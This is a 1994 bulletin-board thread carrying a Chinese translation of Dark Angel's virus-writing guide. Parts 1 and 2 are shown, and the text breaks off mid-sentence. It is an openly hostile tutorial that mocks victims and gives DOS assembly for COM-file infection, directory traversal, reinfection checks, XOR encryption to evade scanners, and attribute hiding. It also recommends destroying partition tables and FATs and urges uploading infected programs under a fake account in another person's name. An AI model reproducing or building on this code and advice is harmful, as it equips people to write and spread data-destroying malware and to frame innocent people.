發新話題
打印

Dark Angel 病毒寫作指南 1-5集

[Close]

Dark Angel 病毒寫作指南 1-5集

- [10] TTL-病毒討論區 (89:100/1) ----------------------------------- TTL-VIRUS -
信件 : 31 of 35                            Uns Loc                             
發信人: Andy Kao                            89:100/1        Thu 01 Sep 94 19:52
收信人: All                                                                     
標  題: 病毒寫作教學(1)                                                         
--------------------------------------------------------------------------------
                Dark Angel  病毒寫作指南(一)
      病毒是種驚奇的創作。它唯一的目的是要散播開來,並破壞那些沒注意到的笨蛋
  的系統。這會清除那些不明白為何一個 100 Byte 的檔案會突然爆發成 1000 Byte
  的笨蛋的系統。 Duh 。這些低等生物不值得存在,因此把他們的硬碟從地球表面抹
  失掉是我們的神聖職務。
      我為什麼要寫這份指南呢?在寫過許多病毒之後,我發現病毒寫作者只能靠他們
  自己或藉著反組譯他人的病毒來學習病毒的寫作。有關這個主題的資訊出奇的缺乏。
  甚至像 Burger 這些低能兒所出的書中,頂多也只有概略提到如何製造一隻病毒。這
  份指南將告訴你如何寫作一隻病毒,並會給你許多 Source Code 讓你引進你的病毒
  之中。
      病毒的寫作並不如你所想像的那麼難。但是想寫隻有效的病毒,你 必須 會組合
  語言。小而緊湊的程式碼是組合語言的特徵,而這些也是病毒所要求的特性。但也不
  一定要純粹使用組合來寫。 C 語言也是可以用的,因為它幾乎可以完全的控制系統
  (如果你不使用它的程式庫函數)。但是你還是要處理中斷,所以組合語言的知識還是
  必須要有的。然而,最好還是堅持使用純粹的組合語言,因為大部分的操作以組合的
  程式碼較簡潔。如果你不會組合語言,我建議你找本 The Microsoft Macro Assembler
  Bible (Nabajyoti Barkakati, ISBN #: 0-672-22659-6) 這本書容易懂且對組合語
  言涵蓋得很詳盡。另外 Undocumented DOS (Schulman, et al, ISBN #0-201-57064-5)
  也非常有幫助。
      要使用什麼組譯器也是個常被提起的問題。我建議使用 Borland Turbo Assembler
  或 Borland C++ 。我沒有 Zortech C (太大了無法 download ) 但我猜那也是個很
  好的選擇。遠離 Microsoft compilers ,它不如其他可變通也沒有效率。
      其他還有些工具對製作病毒是很有幫助的。最新版本的 Norton Utilities 是最
  具威力的程式之一,可提供極大的幫助。確定你有一份!從寫作到測試的每個步驟都
  可用到它。有個好的除錯器也是有幫助的。像 MAPMEM、PMAP 和 MARK/RELEASE 等記
  憶體管理工具也是無價的,特別是當製作 TSR 病毒時。Sourcer 這個反組譯器當你
  在檢驗他人的病毒時很有用。(這是個得到點子和增強功力的好辦法)
      現在你有自己的工具,你可以準備開始你的藝術創作來粉碎那些白癡的系統。病
  毒可分為三種:
        1) Tiny  ( 500 bytes 以內) 因其嬌小而難以偵測。TINY 就是這種病毒之一
           。受其長度的限制,它們大多非常簡單。
        2) Large ( 1500 bytes 以上) 因為它隱蔽的非常好而難以偵測 (所有的程式
           碼都是有用的)。Whale 是最好的例子。它大概是目前現存最好的 Stealth
           病毒。
        3) 其他不特別隱藏自己的病毒。一般的病毒多像這樣。所有覆寫式的病毒也
           屬於這一類。
      你必須決定你要寫哪一種病毒。我主要是討論第二種 ( Stealth 病毒)。然而,
  我所說的各種技巧你可以輕易的用到第一種病毒上。不過很多 Large 病毒的特色
  Tiny 病毒就沒有,像目錄搜尋就是。第三種大部分是特洛伊木馬,我會簡短的 (非
  常非常簡短的) 談論一下。
      一隻病毒可以分成三個部份:複製、隱藏、發作三部份。複製部份控制病毒傳播
  到其他檔案的過程;隱藏部份則保護病毒免於被偵測出來;發作部份只有在病毒的啟
  動條件成立時才會執行。
-=-=-=-=-=-
  複製部份
-=-=-=-=-=-
      複製的功能是經由那些感染病毒的傻瓜的系統把病毒傳播出去。它如何完成使命
  又不破壞它感染的檔案?最簡單的複製是感染 COM 檔。它先把要感染的檔案的前幾
  bytes 存起來。然後把自己程式碼的一小部份拷貝到檔案的開頭,其餘的加在檔尾。
  +----------------+      +------------+
  | P1 | P2        |      | V1 | V2    |
  +----------------+      +------------+  
   未感染的檔案            病毒碼
      如圖所示,P1 是檔案的第一部份,P2 是檔案的第二部份,V1 V2 各為病毒的第
  一和第二部份。注意,P1 和 V1 的大小要相同,但是 P2 的大小就不一定要和 V2
  相同。病毒首先把 P1 存起來並拷貝到 1) 檔尾 或 2) 病毒碼之中。我們假設病毒
  把它拷到檔尾。目前檔案看起來就像這樣:
  +---------------------+
  | P1 | P2        | P1 |
  +---------------------+
      然後,病毒把自己的第一部份拷到檔案的開頭:
  +---------------------+
  | V1 | P2        | P1 |
  +---------------------+
      最後,病毒把它自己的第二部份拷到檔尾。最後被感染的檔案看起來就像這樣:
  +-----------------------------+
  | V1 | P2        | P1 | V2    |
  +-----------------------------+
      現在的問題是:他媽的 V1 和 V2 到底在做什麼? V1 把程式的控制權轉交給  
  V2 。這種程式碼很簡單。
       JMP FAR PTR Duh       ; 佔 four bytes
  Duh  DW  V2_Start          ; 佔 two bytes
      Duh 是指向 V2 第一道程式碼的 far pointer (Segment:Offset)。要注意的是
  Duh 的值必須隨被感染的檔案的大小而改變。例如說:如果程式原來的大小是 79
  bytes ,Duh 必須改變以便確保 CS:[155h] 會被執行到。Duh 的值可從 V1 、被感
  染的檔案原長和 256 (PSP 的長度) 相加求得。在這個例子中,V1 = 6 且
  P1 + P2 = 79 所以是 6 + 79 + 256 = 341 ( 155 hex )。
      另一種相同但是更難懂的方法是:
       DB 1101001b              ; JMP 的碼 (2 byte-displacement)
  Duh  DW V2_Start - OFFSET Duh ; 2 byte displacement
      這直接把 jump 的 offset 填入 jump 指令後的程式碼中。你也可以把第二行改
  為:
       DW V2_Start - $
  也能達成相同的工作。
      V2 包含其餘的程式碼,即做其他所有事情的部份。V2 的最後一部份把 P1 蓋過
  V1 (在記憶體中,不是在磁片上),然後把控制權轉給檔案的開始 (在記憶體裡) 。
  然後原來的程式就好像什麼都沒發生,很快樂的執行下去。要完成這項工作也是非常
  簡單的:
     MOV SI, V2_START      ; V2_START 是標示 V2 開始的 LABEL
     SUB SI, V1_LENGTH     ; 回到 P1 儲存的地方
     MOV DI, 0100h         ; 所有的 COM 都是載入記憶體 CS:[100] 處
     MOV CX, V1_LENGTH     ; 搬移 CX bytes
     REP MOVSB             ; DS:[SI] -> ES:[DI]
     MOV DI, 0100h
     JMP DI
      這段程式碼假設 P1 就位於 V2 之後,就像:
  P1_Stored_Here:
       .
       .
       .
  V2_Start:
      它也假設 CS 等於 ES。如果這個假設不成立,視情形做改變。以下是個例子:
     PUSH CS               ; 把 CS 存起來
     POP  ES               ;  並把它移到 ES
                           ; 注意 MOV ES, CS 是錯誤的
     MOV SI, P1_START      ; 從 P1 儲存的地方
     MOV DI, 0100h         ;  移到 CS:[100h]
     MOV CX, V1_LENGTH
     REP MOVSB
     MOV DI, 0100h
     JMP DI
      這段程式碼先把 CS 移到 ES 然後再把 MOVSB 的 souce pointer 指向 P1 處。
  記得這些都是在記憶體裡完成的,所以你需要 P1 的 Offset ,而不是在檔案中的位
  置。P1 的 Offset 比檔案中的位置多 100h ,因為 COM 檔是從 CS:[100h] 開始載
  入的。
      所以,這是病毒各部份和其標記的總結:
  V1_Start:
       JMP FAR PTR Duh
  Duh  DW  V2_Start
  V1_End:
  P2_Start:
  P2_End:
  P1_Start:
    ; 檔案的第一部份儲存在此以備將來使用
  P1_End:
  V2_Start:
    ; 真正工作的部份
  V2_End:
  V1_Length EQU V1_End - V1_Start
      你可以用兩種方法中的任一種來把 P1 存到 V2 中:
  V2_Start:
  P1_Start:
  P1_End:
  V2_End:
      就是這樣啦!這就是感染 COM 檔且不破壞它的方法。很簡單,不是嗎?然而
  EXE 檔想感染它且不把它變成不可執行的就比較複雜了 --- 我會在稍後的解說中討
  論這個主題。
      現在讓我們回到病毒的複製部份。步驟如下所示:
      1) 找個檔案感染
      2) 檢查它是否已經感染過了
      3) 如果是,回到 1
      4) 感染它
      5) 如果感染夠了,離開
      6) 否則回到 1
      找出要感染的檔案事件簡單的事情,只要寫個目錄搜尋的程序並發出 FINDFIRST
  和 FINDNEXT 的呼叫找出可以感染的檔案即可。當你找到一個檔案,打開它並讀取它
  的前幾 bytes。如果這跟 V1 的前幾 bytes 一樣,那這個檔案就是已經被感染過的
  。如果你的病毒 V1 部份的前幾 bytes 不一樣,把它們改成相同的。確定你的病毒
  不會重複感染同樣的檔案是非常重要的,Jerusalem 就是因此而被偵測出來的。如果
  檔案還沒被感染,那就感染它!感染的動作可照下列步驟:
      1) 把檔案的屬性清除
      2) 儲存檔案的日期、時間
      3) 關閉檔案
      4) 重新以讀/寫的模式開檔
      5) 把 P1 存到檔案的末端
      6) 把 V1 拷到檔案的開頭,但記得要改變 JMP 的 Offset 以使控制權能正確的
         轉移。
      7) 把 V2 加到檔尾
      8) 還原檔案的屬性、日期、時間
      你應該有個計數器記錄你這次執行感染了幾個檔案,如果計數超過了,譬如說三
  個,那就該停止。慢慢的感染比一次感染整個磁碟好。
      在你感染檔案時你必須隱藏你的行跡。儲存檔案原來的屬性、日期、時間並在結
  束後把它們還原。這個非常重要!!這大概需要 50 到 70 bytes 的程式碼,或許少
  一些,但是做這個簡單的動作對你程式的藏匿確有極大的助益。
      我會在我的下一份解說文件中引入目錄搜尋還有一些其他複製部份的程式碼。
-=-=-=-=-=-
  隱藏部份
-=-=-=-=-=-
      這是隱藏程式不被使用者及掃毒的人發現的部份。隱藏最簡單的形式是編碼
  (encryptor)。最簡單的 XOR 編碼系統的程式碼是這樣的:
  encrypt_val   db   ?
  decrypt:
  encrypt:
       mov ah, encrypt_val
       mov cx, part_to_encrypt_end - part_to_encrypt_start
       mov si, part_to_encrypt_start
       mov di, si
  xor_loop:
       lodsb                 ; DS:[SI] -> AL
       xor al, ah
       stosb                 ; AL -> ES:[DI]
       loop xor_loop
       ret
      要注意的是編碼和解碼的程序是相同的。這是因為 XOR 的性質。你可以在程式
  中的任何一處呼叫這些程序,但是要確定你不是從一個將被編碼的區域中呼叫這些程
  序,這樣會使程式毀掉。當在寫病毒時,把編碼的值設為 0 。part_to_encrypt_start
  和 part_to_encrypt_end 把要編碼的部份夾起來。使用 V2 開頭的 CALL decrypt
  把檔案解碼使程式能執行。要感染檔案時,先改變 encrypt_val ,再 CALL encrypt
  ,然後把 V2 寫到檔尾,在 CALL decrypt。一定要確定這一部份不在編碼的區域之
  內!!
      這就是 V2 加上隱藏部份的樣子:
  V2_Start:
  Concealer_Start:
    .
    .
    .
  Concealer_End:
  Replicator_Start:
    .
    .
    .
  Replicator_End:
  Part_To_Encrypt_Start:
    .
    .
    .
  Part_To_Encrypt_End:
  V2_End:
      或者,你可以把一些未編碼的部份搬到 Part_To_Encrypt_End 和 V2_End 之間
  。
      編碼的價值是顯然易見的。編碼會使掃毒的人更難發現你的病毒。它也把你程式
  中的一些字串隱藏起來。這是隱藏你的病毒最簡單也最簡潔的方法。
      編碼只是隱藏的一種方法。至少有一種其他的病毒會攔截 DOS 中斷,並改變
  DIR 的輸出,讓檔案的大小看起來很正常。另一種隱藏的計策是改變 DOS 使記憶體
  管理工具無法偵測到病毒。把病毒載入某些部份可以讓病毒在暖開機後仍然有作用。
  其實有很多藏匿的方法,只是看作者有沒有想像力而已。
-=-=-=-=-=-
  發作部份
-=-=-=-=-=-
      現在所有煩人的部份都已經結束了,最汙穢的部份就在這裡。病毒的發作部份包
  括所有刪除、減緩及其他讓病毒如此惱人的部份。你要為病毒設個發作條件,這個條
  件可以是任何條件,從你的生日到當病毒感染 100 個檔案時都可以。當條件成立時
  ,你的病毒就開始執行任務。一些好的發作動作建議:
      1) 是系統減緩 --- 可以靠攔截中斷並造成些 delay 來達成。
      2) 刪除檔案 --- 刪除磁碟上所有 ZIP 的檔案。
      3) 顯示訊息 --- 顯示些像 "You are fucked" 之類的訊息
      4) 刪除/覆蓋 硬碟分割表/BOOT 磁區/FAT 表 --- 這非常的卑鄙,一般人通常
         無法修復它。
      當然,這是寫病毒有趣的地方,有創意一點!
-=-=-=-=-=-=-=-=-
  Offset 的問題
-=-=-=-=-=-=-=-=-
      在你感染檔案之後,變數的位置都改變了,你必須把這個計算進去。所有的相對
  Offset 可以保持不變,但是你必須把檔案的大小加到絕對 Offset 之中,否則你的
  程式將無法正常工作。這是寫病毒最難處理的部份,把這一切加進去的話可能會嚴重
  增大病毒的大小。這一點非常重要,在你想寫隻非覆寫病毒之前一定要確定你完全了
  解這個!!如果你沒有完全了解,你的病毒將不會工作!解說中將有一部份完整的解
  說這個主題。
-=-=-=-
  試驗
-=-=-=-
      試驗病毒是病毒創作程序中,本質危險的一部份。這是為了要確定人們會被這隻
  病毒攻擊,更希望能把他消除掉。徹底的試驗並確定它會在條件成立時發作。如果有
  第二台電腦用來測試病毒是最好不過,不過這並非常態,所以你要徹底的備份你的檔
  案、Partition、BOOT 磁區及 FAT 表。Norton 擅長處理此類工作。不要忽視這項建
  言(儘管我知道無論如何你會),因為你也會被你自己的病毒攻擊。當我寫出我的第一
  隻病毒時,我的電腦癱瘓了兩天,因為我沒做好備份。還好,這隻病毒並沒有極度的
  破壞。備份是必須的!!我發現 RamDrive 對試驗病毒也很有幫助,因為它的傷害並
  非永久的。RamDrive 對測試木馬 (Trojans) 也很有幫助,但這是另一個檔案的主題
  。
-=-=-=-
  散播
-=-=-=-
      這是寫作病毒另一個有趣的地方。這意味著把你輝煌的作品經由電話線傳遞到你
  當地的佈告欄。你所要做的事情是:感染一個真正有用的程式,然後把它 upload 到
  一個大家都可以 download 的地方。最好的事情是它不會被 McAffee 的工具所偵測
  出來,因為它是全新的!對了,確定你是使用假的帳號,最好是用你所討厭的人的名
  字和電話號碼,然後以他的名義 upload。你可以時常回去並使用 ZDoor 來查看病毒
  的散播狀況。Download 的人越多,分享你的病毒的人也就越多!
      我說過要簡短的提一下覆寫病毒,這就是啦.....
-=-=-=-=-=-
  覆寫病毒
-=-=-=-=-=-
      這些病毒所作的就是從系統散播出去。它們會把被感染的檔案變成不可執行檔,
  所以它們很容易被偵測出來。想寫隻這種病毒很容易:
   +-------------+   +-----+   +-------------+
   | Program     | + |Virus| = |Virus|am     |
   +-------------+   +-----+   +-------------+
      因為這種病毒很容易就會被偵測出來,實在是沒有價值。
-=-=-=-=-=-=-=-=-
  嗯.. 然後....
-=-=-=-=-=-=-=-=-
      下次我將對病毒做更多的探討,也會引進更的的 source code。在這之前,快樂
  的寫程式吧!

TOP

- [10] TTL-病毒討論區 (89:100/1) ----------------------------------- TTL-VIRUS -
信件 : 32 of 35                            Uns Loc                             
發信人: Andy Kao                            89:100/1        Thu 01 Sep 94 19:52
收信人: All                                                                     
標  題: 病毒寫作教學(2)                                                         
--------------------------------------------------------------------------------
                 Dark Angel  病毒寫作指南 ⑵
-----------------------
   第二期 : 複製部份
-----------------------
      在我的上一份病毒寫作指南裡,我解釋了病毒的每一部份,並簡短的討論各部份
  。這一次,我將集中在討論病毒的複製部份。我說過我將引進原始碼,我將會做到。
      不過我將先離開主題一下,因為我注意到我的第一份指南有些變種的拷貝不經意
  流出來了。這些拷貝並沒有包含計算 Offset 這個重要部份。
      你無法知道你的變數和程式碼會被放在記憶體中的哪裡。如果你稍微想一下,這
  應該是很明顯的。既然你是把你的病毒加到程式的末端,在記憶體中的位置會因此而
  改變,也就是說,它會因感染的程式的大小而增大。因此要還原它,我們必須把原來
  病毒裡的 Offset 改變求出來,把它加入所有變數的參考中。
    ( 這一段我不太會翻,把原文引進來: So, to  compensate, we  must take  the
      change in offset from the original virus,  or the  delta offset,  and
      add  that to  all references to variables. )
      使用差距,即相對 Offset 的程式碼不需要更改。這就是像 JA、JB、JZ 之類的
  程式碼,JMP SHORT,JMP label 和 CALL 。所以最好是使用這類程式碼來代替像
  JMP FAR PTR 的程式碼。
      假設下列的例子中,SI 的值正好就是 Offset 的差距。
  把
    mov ax, counter
  改成
    mov ax, word ptr [si+offset counter]
  把
    mov dx, offset message
  改成
    lea dx, [si+offset message]
      或許你會問:那我要如何做才能找到 Offset 的差距?這其實很簡單:
    call setup
  setup:
    pop  si
    sub  si, offset setup
      依序解釋一下上面的程式片段。CALL setup 會把下一個指令的位址 push 進
  stack,也就是 setup 的 Offset 。然後把它 pop 到 SI 。最後,再把 setup 原來
  的 Offset (這在 compile 時就計算出來了) 從 SI 中扣掉,你就求得你要的 Offset
  差距了。在原始的病毒中,Offset 差距是 0 ,也就是說 setup 的新位置和原來的
  位置相同。
      通常用 BP 來放 Offset 差距會更好,因為在字串指令中會用到 SI 。看你喜歡
  哪一個就用哪個。我會看我的心情隨便使用這兩者之一。
      現在回到其他部份......
      生物學上的病毒是種會利用宿主傳播的寄生有機體。牠必須讓宿主活著以確保自
  己能活著。只有當牠散播的到處都是時,牠的宿主才會痛苦、可怕的死亡。現代電子
  上的病毒並無不同。它附生到宿主系統上,在搞垮整個系統前不斷的複製自己,然後
  它開始靈活的摧毀感染病毒者的系統。
      感染部份是病毒和木馬的不同之處。任何人都可以寫隻木馬,但是病毒更高雅。
  它的活動幾乎是不可見的,並可以突破犧牲者的防衛。第一個問題是:病毒如何傳播
  ? EXE 和 COM 的感染都應該列出。
      病毒主要有兩種:執行型和常駐型。執行型病毒,正如你所想的,在被感染的程
  式執行時進行感染;常駐型病毒則是在被感染的程式執行時常駐並攔截中斷,然後在
  檔案執行、開、關還有結束 ( INT 20h、INT 21h/41h ) 時感染。這兩種各有利弊。
  執行型病毒較難偵測,因為它們不會出現在記憶體中;但另一方面,它在搜尋和感染
  所造成的延遲有可能會洩露行蹤。常駐型病毒,如果沒寫好的話,很容易被 MAPMEM
  和 PMAP 之類的工具程式找出來。但一般而言會比較小,因為它們不需要搜尋要感染
  的檔案的函式。也因為不需要搜尋檔案,它們比執行型病毒還快。這裡我將討論執行
  型病毒,而在以後的文件中討論常駐型病毒。
      以下是感染程序的總結:
      1) 找個檔案感染
      2) 檢查它是否符合感染的標準
      3) 檢查它是否已被感染過,如果是,回到 1
      4) 否則,感染這個檔案
      5) 隱藏你的行跡
      我將解說每個步驟,並附上簡單的程式碼。要注意的是,雖然靠以下的資訊可以
  完成一隻完整的病毒,你不可以只是把這些程式碼拿出來,再把它們拼在一起,因為
  各部份是從我寫的不同的病毒裡擷取出來的。你必須要熟悉組合語言。我列出程式碼
  的片段,你可以自己決定要使用它或者修改它。
-------------------------
  第一步 -- 找個檔案感染
-------------------------
      在你感染一個檔案之前,你必須先找到它!這可能是病毒性能的瓶頸,所以要盡
  可能有效率的完成。對執行型病毒而言,有幾個可行之道。你可以只感染目前目錄下
  的檔案,或者你也可以寫個目錄搜尋的函式來感染所有的檔案 (當然每次執行只感染
  一些),更可以只感染某些特定目錄下的檔案。為什麼選擇只感染目前目錄下的檔案
  呢?這會限制感染的效率。但是有些病毒為了加快速度或為了縮短程式長度而採用這
  個方法。
      以下是一目錄搜尋的函式。它使用 recursion 所以比較慢,但是它確實完成工
  作。這是從 Funky Bob Ross [Beta] 病毒裡摘錄出來並做了些修改。
  traverse_fcn proc    near
          push    bp                      ; Create stack frame
          mov     bp,sp
          sub     sp,44                   ; 為 DTA 留下位置
          call    infect_directory        ; 呼叫搜尋/破壞函式
          mov     ah,1Ah                  ; 把 DTA 設到
          lea     dx,word ptr [bp-44]     ; 留下來的位置
          int     21h                     ; 執行!
          mov     ah, 4Eh                 ; 搜尋第一個檔案
          mov     cx,16                   ; 目錄屬性
          lea     dx,[si+offset dir_mask] ; *.*
          int     21h
          jmp     short isdirok
  gonow:
          cmp     byte ptr [bp-14], '.'   ; 第一個字元是 '.' ?
          je      short donext            ; 如是,再 loop 一次
          lea     dx,word ptr [bp-14]     ; 如否,記下目錄名
          mov     ah,3Bh                  ; 換目錄到那兒去
          int     21h
          jc      short donext              ; 如果無效則找下一個
          inc     word ptr [si+offset nest] ; nest++
          call    near ptr traverse_fcn     ; recurse directory
  donext:
          lea     dx,word ptr [bp-44]     ; 為 DTA 配置位置
          mov     ah,1Ah                  ; 並把 DTA 設到新位置
          int     21h                     ; 因為它可能會改變
          mov     ah,4Fh                  ; 搜尋下一個檔案
          int     21h
  isdirok:
          jnc     gonow                        ; 如果成功,跳到其他地方
          cmp     word ptr [si+offset nest], 0 ; 如果是根目錄
                                               ;  (nest == 0)
          jle     short cleanup                ; 就離開
          dec     word ptr [si+offset nest]    ; 否則 nest --
          lea     dx, [si+offset back_dir]     ; '..'
          mov     ah,3Bh                       ; 換到上一層目錄
          int     21h                          ;
  cleanup:
          mov     sp,bp
          pop     bp
          ret
  traverse_fcn endp
  ; Variables
  nest     dw     0
  back_dir db     '..',0
  dir_mask db     '*.*',0
      程式碼本身就附有解說。確定你有個叫 infect_directory 的函式會搜尋目錄下
  可以感染的檔案並感染它,並確定它不會重複感染一個檔案。這個函式會呼叫
  infect_file 以感染檔案。
      注意,正如我說過的,這個函式很慢。另外還有個雖然比較不全面性但卻較快的
  方法,叫做 "dot dot"。Hellraiser 告訴我這個靈巧的小伎倆的。基本而言,你不
  段的搜尋目錄,如果還沒達到預定的感染目標,就到上一層目錄 ( dot dot ) ,再
  試一次。程式碼很簡單:
  dir_loopy:
          call    infect_directory
          lea     dx, [bp+dotdot]
          mov     ah, 3bh                 ; 換目錄
          int     21h
          jnc     dir_loopy               ; 在根目錄會 Carry
  ; Variables
  dotdot  db      '..',0
      現在你必須找個檔案來感染。在上面的片段中是靠 infect_directory 的函式來
  達成的。這個函式呼叫 FINDFIRST 和 FINDNEXT 以找出要感染的檔案。首先,你必
  需設個新的 DTA 。絕對不要使用 PSP 中 ( 在 80h ) 的 DTA ,因為改變那個在控
  治權回到被感染檔案時會影響到它的的命令列參數。你只要這樣做就可以了:
          mov     ah, 1Ah                 ; 把 DTA 設到
          lea     dx, [bp+offset DTA]     ; 叫 DTA 的變數處
          int     21h
      DTA 是一段 42 bytes 的記憶體區段。接著,發出一系列 FINDFIRST 和
  FINDNEXT 的呼叫:
          mov     ah, 4Eh                 ; 搜尋第一個檔案
          mov     cx, 0007h               ; 任何檔案屬性
          lea    dx, [bp+offset file_mask]; DS:[DX] --> filemask
          int     21h
          jc      none_found
  found_another:
          call    check_infection
          mov     ah, 4Fh                 ; 搜尋下一個檔案
          int     21h
          jnc     found_another
  none_found:
      file_mask 可以 db 為 '*.COM',0 或 '*.EXE',0 。或者是你可以用 '*.*',0
  來做 FINDFIRST 然後再檢查它的副檔名是不是 EXE 或 COM 。
-------------------------
  第二步 -- 檢查感染條件
-------------------------
      你的病毒在感染時必須考慮清楚。例如說,你可能不想感染 COMMAND.COM 因為
  一些程式 (像 FluShot+ ) 在執行時會檢查它的 CRC 或 checksum 。或許你不想感
  染目錄下第一個檔案,Ambulance Car 就是個例子。如果你有任何感染的條件,那現
  在就檢查它。以下是個判斷檔名最後兩個字是不是 ND 的簡單範例,這是個檢查
  COMMAND.COM 的簡易方法:
          cmp     word ptr [bp+offset DTA+35], 'DN'  ; 顛倒字元順序
          jz      fail_check
-----------------------------
  第三步 -- 檢查是否已經感染
-----------------------------
      每個病毒都有它的特性,你可以根據這個來判斷一個檔案是否已經被感染過了。
  例如說,某些片段的程式碼總是會在預期的地方出現;或者是 JMP 總是用同樣的方
  法出現。無論如何,你要確定你的病毒有可供辨識的標記以免你重複感染同一個檔案
  。以下是個檢查的範例 ( 對 COM 而言 ):
          mov     ah,3Fh                          ; 把檔案的
          mov     cx, 3                           ; 前 3 bytes 讀到
          lea     dx, [bp+offset buffer]          ; buffer 之中
          int     21h
          mov     ax, 4202h                       ; 搜尋 EOF
          xor     cx, cx                          ; DX:CX = offset
          xor     dx, dx                          ; 從 DX:AX
          int     21h                             ; 傳回檔案大小
          sub     ax, virus_size + 3
          cmp     word ptr [bp+offset buffer+1], ax
          jnz     infect_it
  bomb_out:
          mov     ah, 3Eh                         ; 不然關閉檔案
          int     21h                             ; 並尋找下一個
      這個例子中,BX 是放要做感染檢驗的檔案之檔案代號 (file handle) 而
  virus_size 等於病毒的大小。buffer 是個 3 bytes 大小的空白區域。這一段程式
  碼把檔案的前 3 bytes 讀進 buffer 中並比較 JMP 跳到的位置 (從 buffer+1 起的
  word) 和檔案的大小。如果 JMP 的目的地是在 EOF 前 virus_size bytes ,則這個
  檔案已經被感染過了。另一個方法是搜尋檔案中的特定位置看看是不是有標記。例如
  :
          mov     ah, 3Fh                         ; 把檔案的
          mov     cx, 4                           ; 前 4 bytes
          lea     dx, [bp+offset buffer]          ; 讀進 buffer 中
          int     21h
          cmp     byte ptr [buffer+3], infection_id_byte ; 檢查第四 byte
          jz      bomb_out                               ; 是否為標記
  infect_it:
---------------------
  第四步 -- 感染檔案
---------------------
      這是病毒的 "內臟",也是複製部份的中心。當你找到一個可感染的檔案後,你
  要把屬性、時間、日期和大小儲存起來以備將來使用。以下是對 DTA 的分析:
    Offset     大小        功能
  --------------------------------------------------
      0h       21 BYTES    保留。隨 DOS 版本而不同
     15h       BYTE        檔案屬性
     16h       WORD        檔案時間
     18h       WORD        檔案日期
     1Ah       DWORD       檔案大小
     1Eh       13 BYTES    ASCII 的檔名
      如你所見,DTA 保存了所有你需要的檔案重要資訊。以下是如何把所需資料儲存
  起來的範例:
          lea  si, [bp+offset DTA+15h]            ; 把從屬性到
          mov  cx, 9                              ; 大小的資料
          lea  di, [bp+offset f_attr]             ; 般移到你的位置
          rep  movsb
          f_attr  db   ?                          ; 所需變數
          f_time  dw   ?
          f_date  dw   ?
          f_size  dd   ?
      現在你可以用 INT 21h / 43h 函數 / 01h 子函數把檔案的屬性清除,這樣才能
  感染系統、隱藏和唯讀的檔案。只有舊式 (或極少數) 病毒無法處理這類檔案。
          lea  dx, [bp+offset DTA+1eh]            ; DX 指向 DTA 中
          mov  ax, 4301h                          ; 之檔名
          xor  cx, cx                             ; 清除屬性
          int  21h                                ; 發出呼叫
      屬性被廢止後,你就可以安然無事的開啟檔案。用檔案代號開成讀寫模式。
          lea  dx, [bp+offset DTA+1eh]            ; 使用 DTA 中的檔名
          mov  ax, 3d02h                          ; 開啟讀寫模式
          int  21h                                ; duh.
          xchg ax, bx                             ; 檔案代號放在
                                                  ; BX 中較有用
      接下來是你所期待的部份:感染的程序。我很高興的列出能感染 COM 檔的程式
  碼。對,你會說從上一份指南的資料,你已經知道該如何做了。但是還不只那樣,其
  實還有更多..... 感染 EXE 檔的範例也會簡短的列出。
      感染 COM 檔的法則在上一份文件中已經說過了,我就不再多說。以下就是感染
  的範例:
  ; COM 感染的範例  假設 BX 是檔案代號
  ; 假設 COM 檔已通過感染條件檢查且還沒被感染過
          mov     ah, 3fh
          lea     dx, [bp+buffer1]
          mov     cx, 3
          int     21h
          mov     ax, 4200h                       ; 把檔案指標
          xor     cx, cx                          ; 移到檔頭
          xor     dx, dx                          ;
          int     21h
  ; 計算要用來覆蓋檔頭的 JMP 指令
          mov     byte ptr [bp+buffer2], 0e9h      ; JMP
          mov     ax, word ptr [bp+f_size]
          sub     ax, part1_size                   ; 通常是 JMP
          mov     word ptr [bp+buffer2+1], ax      ; 那 3 bytes
  ; 把 JMP 指令寫入檔頭
          mov     ah, 40h                          ; 對檔案代號 BX 的檔
          mov     cx, 3                            ; 寫入 buffer ( DS:[DX] )
          lea     dx, [bp+buffer2]                 ; 中 CX bytes 的資料
          int     21h
          mov     ax, 4202h                        ; 把檔案指標
          xor     cx, cx                           ; 移到檔尾
          xor     dx, dx
          int     21h
          mov     ah, 40h                          ; 寫入 CX bytes
          mov     cx, endofvirus - startofpart2    ; 病毒的本體長度
          lea     dx, [bp+startofpart2]            ; 從 start 開始寫
          int     21h
  ; 變數
  buffer1 db 3 dup (?)                             ; 儲存感染的檔案
                                                   ; 中的資料以備
                                                   ; 以後還原
  buffer2 db 3 dup (?)                             ; 暫存區
      經過一些解釋後,這段程式碼應該很容易了解。它先把檔頭的前三 bytes 讀進
  buffer 中。注意,你可能已經在前面的步驟中完成了這個動作,像說你在檢查檔案
  是否已經被感染的時候。如果你已經完成,顯然你不需要再做一次。這個 buffer 必
  需保存在病毒中,以備稍後還原使用。
      EXE 檔的感染也很簡單,不過有點難懂。首先,以下是 EXE 檔頭的格式:
   Ofs 名稱                大小      解說
  ------------------------------------------------------------------
   00  Signature           2 bytes   永遠是 4Dh 5Ah (MZ)
  *02  Last Page Size      1 word    最後一 page 的 bytes 數
  *04  File Pages          1 word    檔案總共幾 page
   06  Reloc Items         1 word    移位表的 entry 數
   08  Header Paras        1 word    檔頭的 para 數
   0A  MinAlloc            1 word    所需最小記憶體的 para 數
   0C  MaxAlloc            1 word    所需最大記憶體的 para 數
  *0E  PreReloc SS         1 word    堆疊到程式開頭的 para 數
  *10  Initial SP          1 word    開始時的 SP
   12  Negative checksum   1 word    一般都忽略
  *14  Pre Reloc IP        1 word    開始執行的位址
  *16  Pre Reloc CS        1 word    程式區到程式開頭的 para 數
   18  Reloc table offset  1 word    第一個移位 entry 的 offset 數
   1A  Overlay number      1 word    如果不是 overlay 檔就忽略
   1C  Reserved/unused     2 words
  * 表示病毒需要更改的資料
      想了解這個,首先你必須知道 EXE 檔是由 segment 構成的。Segment 的開始和
  結束可以在任何地方。要感染 EXE 檔,你所要做的是把你的程式碼加到程式的尾端
  ,這樣它就有自己的 segment 。現在你要做的是讓病毒在程式執行之前先被執行到
  。這不像感染 COM 檔,沒有程式碼會被覆寫,但是你要更改檔頭。注意,病毒還是
  可以有 V1/V2 的結構,但是只有 V2 需要連結到被感染的 EXE 檔尾。
      Offset 4 放的是檔案大小除 512 的結果。Offset 2 放的是檔案大小除 512 的
  餘數。Offset 0Eh 放的是堆疊 (stack) 的 segment 的 paragraph 差距 (相對於檔
  頭的結尾)。 Offset 10h 放的是堆疊指標 (SP) 的差距 (相對於堆疊 segment 的開
  頭)。 Offset 16h 放的是 entry 點和檔頭的相對 paragraph 差距。 Offset 14h
  放的是 entry 點相對於 entry segment 的差距。 Offset 14h 和 16h 是把病毒加
